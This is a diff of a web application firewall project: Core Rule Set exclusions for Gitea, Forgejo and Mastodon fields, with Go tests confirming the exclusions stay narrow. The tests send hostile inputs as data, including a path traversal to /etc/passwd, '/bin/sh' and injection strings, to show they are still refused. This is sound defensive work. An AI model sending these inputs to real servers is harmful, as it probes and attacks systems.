"ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
||||||
|
|
||||||
|
# A branch renamed on the web, in from and to.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
|
||||||
|
"id:900662,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
||||||
|
|
||||||
|
# A branch created through the API, in new_branch_name. It starts from the
|
||||||
|
# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
|
||||||
|
"id:900663,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
|
||||||
|
|
||||||
|
# A pull request opened through the API, from the branch in head into the
|
||||||
|
# branch in base.
|
||||||
|
# An edit of one sends its new target branch in base.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
|
||||||
|
"id:900664,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.base"
|
||||||
|
|
||||||
|
# One file or several created, changed or deleted through the API, on the branch
|
||||||
|
# in branch. A new branch for the commit is named in new_branch. The commit's
|
||||||
|
# message, in message, skips these rules:
|
||||||
|
# 930120: Remove .htaccess
|
||||||
|
# 932120: Add a PowerShell build script
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
|
||||||
|
"id:900665,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message"
|
||||||
|
|
||||||
# An artifact upload from actions/upload-artifact@v3 sends the header
|
# An artifact upload from actions/upload-artifact@v3 sends the header
|
||||||
# Content-Range, which the Core Rule Set refused (920450).
|
# Content-Range, which the Core Rule Set refused (920450).
|
||||||
SecRule REQUEST_FILENAME \
|
SecRule REQUEST_FILENAME \
|
||||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||||
"id:900640,phase:1,pass,nolog,\
|
"id:900640,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||||
|
|
||||||
|
# The forms that adopt or delete an unadopted repository send its name in id.
|
||||||
|
# The admin forms put its owner in front, as alice/python3-app. id skips these
|
||||||
|
# rules there:
|
||||||
|
# 930120: alice/.profile
|
||||||
|
# 932120: alice/powershell-scripts
|
||||||
|
# 932160: robin/assets, which holds bin/as
|
||||||
|
# 932260: alice/python3-app
|
||||||
|
# The forms post to these paths:
|
||||||
|
# /-/admin/repos/unadopted: gitea's admin form
|
||||||
|
# /admin/repos/unadopted: Forgejo's admin form
|
||||||
|
# /user/settings/repos/unadopted: the form in a user's settings, on both
|
||||||
|
SecRule REQUEST_FILENAME \
|
||||||
|
"@rx ^/(?:(?:-/)?admin|user/settings)/repos/unadopted$" \
|
||||||
|
"id:900645,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:id,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:id,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:id,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:id"
|
||||||
|
|
||||||
|
# The passwords skip each rule that random passwords set off:
|
||||||
|
# password: signing in, signing up, linking an account, activating an account,
|
||||||
|
# resetting or changing the password, deleting an account, and creating or
|
||||||
|
# editing a user on the admin pages
|
||||||
|
# retype: signing up, linking an account by signing up, and changing the
|
||||||
|
# password
|
||||||
|
# old_password: changing the password
|
||||||
|
# json.password: creating or editing a user through the admin API
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_account_signup|activate|recover_account|settings/(?:change_password|account(?:/delete)?))$|^/(?:-/)?admin/users/(?:new|[0-9]+/edit)$|^/api/v1/admin/users(?:/[^/]+)?$" \
|
||||||
|
"id:900650,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:password|retype|old_password|json\.password)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
||||||
|
|
||||||
|
# Referer skips the rule on Java class names (944130). It refused every page
|
||||||
|
# opened from the page of java.lang.String.md.
|
||||||
|
SecAction "id:900641,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
|
# A container image push that reuses a layer names the image it takes the layer
|
||||||
|
# from in the query parameter from, which skips the list of command names
|
||||||
|
# (932260) there. It refused the push of a layer from owner/python3-app.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
||||||
|
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
||||||
|
|
||||||
|
SecMarker END_GITEA
|
||||||
@@ -0,0 +1,250 @@
|
|||||||
|
package coreruleset_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"slices"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
)
|
||||||
|
|
||||||
|
// giteaAdminUnadoptedRepos and forgejoAdminUnadoptedRepos are the admin pages
|
||||||
|
// of unadopted repositories. The forms that adopt or delete one post there.
|
||||||
|
const (
|
||||||
|
giteaAdminUnadoptedRepos = "/-/admin/repos/unadopted"
|
||||||
|
forgejoAdminUnadoptedRepos = "/admin/repos/unadopted"
|
||||||
|
)
|
||||||
|
|
||||||
|
// giteaSearches are searches of the pages gitea and Forgejo share whose q
|
||||||
|
// skips the lists of system files and command names, in the eighth change.
|
||||||
|
// gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var giteaSearches = []string{
|
||||||
|
"/notifications/watching",
|
||||||
|
"/org/acme/milestones/developers",
|
||||||
|
"/org/acme/teams/-/search",
|
||||||
|
"/alice/-/projects",
|
||||||
|
"/alice/-/packages/generic/tools-cli/versions",
|
||||||
|
"/alice/-/packages/npm/@alice%2Ftools-cli/versions",
|
||||||
|
"/alice/tools/milestones",
|
||||||
|
"/alice/tools/projects",
|
||||||
|
"/alice/tools/issues/suggestions",
|
||||||
|
"/alice/tools/settings/actions/runners",
|
||||||
|
"/org/acme/settings/actions/runners",
|
||||||
|
"/user/settings/actions/runners",
|
||||||
|
"/-/admin/actions/runners",
|
||||||
|
"/-/admin/users",
|
||||||
|
"/-/admin/orgs",
|
||||||
|
"/-/admin/repos",
|
||||||
|
giteaAdminUnadoptedRepos,
|
||||||
|
"/-/admin/emails",
|
||||||
|
"/-/admin/emails/activate",
|
||||||
|
"/admin/actions/runners",
|
||||||
|
"/admin/users",
|
||||||
|
forgejoAdminUnadoptedRepos,
|
||||||
|
"/admin/emails/activate",
|
||||||
|
}
|
||||||
|
|
||||||
|
// giteaTagAndPackageSearches are the searches of tags and packages, whose q
|
||||||
|
// also lets /bin/sh through, since a tag or package name can hold a slash.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var giteaTagAndPackageSearches = []string{
|
||||||
|
"/alice/tools/tags",
|
||||||
|
"/alice/tools/packages",
|
||||||
|
"/-/admin/packages",
|
||||||
|
"/admin/packages",
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// The forms that adopt a repository and activate an email send the
|
||||||
|
// admin page's search in q, as gitea 1.27.3 and Forgejo 17.0.1 do.
|
||||||
|
for _, value := range hardValues {
|
||||||
|
adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
|
||||||
|
|
||||||
|
for _, path := range []string{giteaAdminUnadoptedRepos, forgejoAdminUnadoptedRepos} {
|
||||||
|
r := request{http.MethodPost, path, []string{formData}}
|
||||||
|
wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
|
||||||
|
}
|
||||||
|
|
||||||
|
activate := "sort=email&q=" + value + "&is_primary=&is_activated=" +
|
||||||
|
"&uid=2&email=bob%40example.com&primary=1&activate=0"
|
||||||
|
|
||||||
|
for _, path := range []string{"/-/admin/emails/activate", "/admin/emails/activate"} {
|
||||||
|
r := request{http.MethodPost, path, []string{formData}}
|
||||||
|
wantBody(t, crs, r, activate, coreruleset.Result{}, activate)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// The admin forms send the repository's owner and name in id, and the
|
||||||
|
// form in a user's settings only its name. robin/assets holds bin/as, a
|
||||||
|
// shell path.
|
||||||
|
ownerAndName := []string{
|
||||||
|
"alice%2Fpython3-app",
|
||||||
|
"alice%2Fpowershell-scripts",
|
||||||
|
"alice%2F.profile",
|
||||||
|
"robin%2Fassets",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, form := range []struct {
|
||||||
|
path string
|
||||||
|
ids []string
|
||||||
|
}{
|
||||||
|
{giteaAdminUnadoptedRepos, ownerAndName},
|
||||||
|
{forgejoAdminUnadoptedRepos, ownerAndName},
|
||||||
|
{
|
||||||
|
"/user/settings/repos/unadopted", // gitea's and Forgejo's
|
||||||
|
[]string{"python3-app", "powershell-scripts", ".profile"},
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, form.path, []string{formData}}
|
||||||
|
|
||||||
|
for _, action := range []string{"adopt", "delete"} {
|
||||||
|
for _, id := range form.ids {
|
||||||
|
body := "id=" + id + "&action=" + action
|
||||||
|
wantBody(t, crs, r, body, coreruleset.Result{}, body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Another field keeps those rules.
|
||||||
|
body := "id=" + form.ids[0] + "&action=adopt&page=python3"
|
||||||
|
wantBody(t, crs, r, body, matched(932260), body)
|
||||||
|
|
||||||
|
// Attacks in id are still refused.
|
||||||
|
for _, attack := range []string{
|
||||||
|
sqlInjection,
|
||||||
|
scriptInjection,
|
||||||
|
commandInjection,
|
||||||
|
"..%2F..%2Fetc%2Fpasswd",
|
||||||
|
} {
|
||||||
|
body := "id=" + attack + "&action=adopt"
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
|
t.Errorf("POST %s %s let through: %+v", form.path, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// On another path, id keeps those rules.
|
||||||
|
r := request{http.MethodPost, "/-/admin/repos", []string{formData}}
|
||||||
|
body := "id=alice%2Fpython3-app&action=adopt&q=&page=1"
|
||||||
|
wantBody(t, crs, r, body, matched(932260), body)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
|
for _, path := range slices.Concat(giteaSearches, giteaTagAndPackageSearches) {
|
||||||
|
for _, attack := range []string{
|
||||||
|
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
||||||
|
} {
|
||||||
|
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
|
||||||
|
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The same field in a form data body.
|
||||||
|
r := request{http.MethodPost, path, []string{formData}}
|
||||||
|
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
|
||||||
|
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
// /bin/sh stays refused in q on the searches that are not of tags or
|
||||||
|
// packages.
|
||||||
|
for _, path := range giteaSearches {
|
||||||
|
if got := inspect(t, crs, get(path+"?q=%2Fbin%2Fsh")); got.Score < threshold {
|
||||||
|
t.Errorf("%s?q=%%2Fbin%%2Fsh let through: %+v", path, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
|
||||||
|
|
||||||
|
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
||||||
|
// values stay refused in q on paths near the searches, and in another
|
||||||
|
// field on them.
|
||||||
|
for _, target := range []string{
|
||||||
|
"/org/acme/teams?q=",
|
||||||
|
"/org/acme/teams/-/search/x?q=",
|
||||||
|
"/org/acme/issues/developers/x?q=",
|
||||||
|
"/alice/-/projects/1?q=",
|
||||||
|
"/alice/-/packages/generic/tools-cli/1.0.0?q=",
|
||||||
|
"/alice/tools/milestones/new?q=",
|
||||||
|
"/alice/tools/milestone/new?q=",
|
||||||
|
"/alice/tools/projects/1?q=",
|
||||||
|
"/alice/tools/packages/x?q=",
|
||||||
|
"/alice/tools/tags/v1.0?q=",
|
||||||
|
"/alice/tools/issues/1?q=",
|
||||||
|
"/alice/tools/settings/actions?q=",
|
||||||
|
"/user/settings/actions?q=",
|
||||||
|
"/-/admin/users/1/edit?q=",
|
||||||
|
"/-/admin/emails/delete?q=",
|
||||||
|
"/-/admin/actions/runners/1?q=",
|
||||||
|
"/-/admin/packages/delete?q=",
|
||||||
|
"/alice/tools/milestones?other=",
|
||||||
|
"/alice/tools/milestone/1?other=",
|
||||||
|
"/alice/tools/tags?other=",
|
||||||
|
"/org/acme/issues/developers?other=",
|
||||||
|
"/org/acme/teams/-/search?other=",
|
||||||
|
"/-/admin/users?other=",
|
||||||
|
"/-/admin/packages?other=",
|
||||||
|
} {
|
||||||
|
for _, value := range slices.Concat(attacks, hardValues) {
|
||||||
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
|
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Under /admin/, where Forgejo serves its admin pages, only the hard
|
||||||
|
// values are left out: the tenth change lets them through in q on every
|
||||||
|
// path there, for Drupal.
|
||||||
|
for _, target := range []string{
|
||||||
|
"/admin/packages/delete?q=",
|
||||||
|
"/admin/packages?other=",
|
||||||
|
} {
|
||||||
|
for _, value := range attacks {
|
||||||
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
|
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Referer keeps its rules on a page opened from a path near the
|
||||||
|
// searches of one team and of one milestone.
|
||||||
|
for _, path := range []string{
|
||||||
|
"/org/acme/issues/developers/x",
|
||||||
|
"/alice/tools/milestone/new",
|
||||||
|
} {
|
||||||
|
for _, attack := range []string{scriptTag, injection} {
|
||||||
|
referer := "Referer: http://example.com" + path + "?q=" + attack
|
||||||
|
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
||||||
|
t.Errorf("%s let through: %+v", referer, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,308 @@
|
|||||||
|
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
|
||||||
|
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||||
|
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||||
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
|
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||||
|
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||||
|
# has no parameter of that name, so it matters only while SWW_WAF_BODY_LIMIT is
|
||||||
|
# set.
|
||||||
|
#
|
||||||
|
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||||
|
# resources under them count as Mastodon's paths.
|
||||||
|
#
|
||||||
|
# Four rules read a search, a name or free text as a command or a system file.
|
||||||
|
# Each exclusion below for such a field removes these four, and only these:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists mastodon for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_mastodon itself.
|
||||||
|
SecRule &TX:app_mastodon "@eq 0" \
|
||||||
|
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
|
||||||
|
|
||||||
|
# The API's searches and names, in the query:
|
||||||
|
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||||
|
# acct: /api/v1/accounts/lookup?acct=python3
|
||||||
|
# username, display_name, email, by_domain: the admin API's search of
|
||||||
|
# accounts, /api/v1/admin/accounts?username=python3&display_name=powershell
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:search|accounts|admin/accounts)(?:/|$)" \
|
||||||
|
"id:900950,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/"
|
||||||
|
|
||||||
|
# The API's titles, names and free text, in form data or JSON bodies:
|
||||||
|
# spoiler_text, poll[options][]: posting, spoiler_text=python3+details
|
||||||
|
# description: describing an uploaded file, description=Screenshot+of+ls+-la
|
||||||
|
# display_name, note, fields_attributes[0][name], fields_attributes[0][value]:
|
||||||
|
# editing a profile, note=python3+and+powershell
|
||||||
|
# title: naming a list or a filter, title=python3+friends
|
||||||
|
# keyword, keywords_attributes[][keyword]: a filter's words, keyword=powershell
|
||||||
|
# name: featuring a hashtag, name=python3
|
||||||
|
# comment: a report, a note on an account or an IP block, comment=Knows+python3
|
||||||
|
# text: warning an account, text=Please+stop+posting+powershell+malware
|
||||||
|
# private_comment, public_comment: blocking a domain
|
||||||
|
# The web app sends these in JSON:
|
||||||
|
# spoiler_text, title and the poll's options
|
||||||
|
# description, and media_attributes[].description when it edits a post
|
||||||
|
# display_name, note and fields_attributes[].name and .value, on
|
||||||
|
# /api/v1/profile, {"note":"ls -la shows the .htaccess file"}
|
||||||
|
# comment, on a report or a note on an account
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:statuses|media|accounts|profile|lists|filters|featured_tags|reports|admin/(?:accounts|domain_blocks|ip_blocks))(?:/|$)" \
|
||||||
|
"id:900951,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/"
|
||||||
|
|
||||||
|
# A post's text, in status, form data from an app or JSON from the web app.
|
||||||
|
# Each of these rules refused posting "Today I learned: `ls -la ~/.config`
|
||||||
|
# lists hidden files, and `python3 -m http.server` serves a folder", so they
|
||||||
|
# skip status: the four rules, 932125, 932230 and 932235.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/statuses(?:/|$)" \
|
||||||
|
"id:900952,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?status$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?status$/"
|
||||||
|
|
||||||
|
# Uploaded files' names skip 932180, which refused uploading
|
||||||
|
# "Example .htaccess.png" as a server's own file, for a post or as a profile's
|
||||||
|
# picture. Coraza keeps these names without the field each came in. Mastodon
|
||||||
|
# refuses a file of a type it does not allow.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/media$|^/api/v1/accounts/update_credentials$|^/api/v1/profile$" \
|
||||||
|
"id:900953,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=932180;FILES"
|
||||||
|
|
||||||
|
# The admin pages' searches, in the query:
|
||||||
|
# username, display_name, email: /admin/accounts?username=python3
|
||||||
|
# by_domain: /admin/instances?by_domain=python3
|
||||||
|
# shortcode: /admin/custom_emojis?shortcode=python3
|
||||||
|
# name: /admin/tags?name=python3
|
||||||
|
